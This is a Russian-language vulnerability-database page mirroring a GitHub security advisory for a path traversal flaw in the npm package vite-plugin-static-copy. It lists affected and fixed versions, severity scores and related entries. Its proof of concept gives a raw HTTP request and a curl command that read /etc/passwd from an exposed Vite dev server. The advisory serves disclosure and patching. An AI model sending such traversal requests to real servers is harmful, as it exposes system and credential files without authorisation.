Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-pp7p-q8fx-2968

Опубликовано: 21 авг. 2025
Источник: github
Github: Прошло ревью
CVSS4: 6

Описание

vite-plugin-static-copy files not included in src are possible to access with a crafted request

Summary

Files not included in src was possible to access with a crafted request.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Arbitrary files can be disclosed by exploiting this vulnerability.

Details

Consider the following configuration in used by vite.config.ts:

import { defineConfig } from 'vite' import { viteStaticCopy } from 'vite-plugin-static-copy' export default defineConfig({ plugins: [ viteStaticCopy({ targets: [ { src: "./public/images", dest: "./", }, ], }), ], });

The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.

PoC

I've attached a demo app to showcase the bug.

Run it with npm run dev and issue the following HTTP request

GET /static/images/../../../../../../../etc/passwd HTTP/1.1 Host: localhost:3001 Content-Length: 2

OR

curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: localhost:3001' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3001/static/images/../../../../../../../etc/passwd'

Observe that the /etc/passwd file is included in the response.

Screenshot 2025-08-16 at 10 27 11 PM

Пакеты

Наименование

vite-plugin-static-copy

npm
Затронутые версииВерсия исправления

>= 3.0.0, <= 3.1.1

3.1.2

Наименование

vite-plugin-static-copy

npm
Затронутые версииВерсия исправления

>= 0.4.3, <= 2.3.1

2.3.2

EPSS

Процентиль: 32%
0.00123
Низкий

6 Medium

CVSS4

Дефекты

CWE-22

Связанные уязвимости

CVSS3: 6.5
redhat
4 месяца назад

vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.

nvd
4 месяца назад

vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.

EPSS

Процентиль: 32%
0.00123
Низкий

6 Medium

CVSS4

Дефекты

CWE-22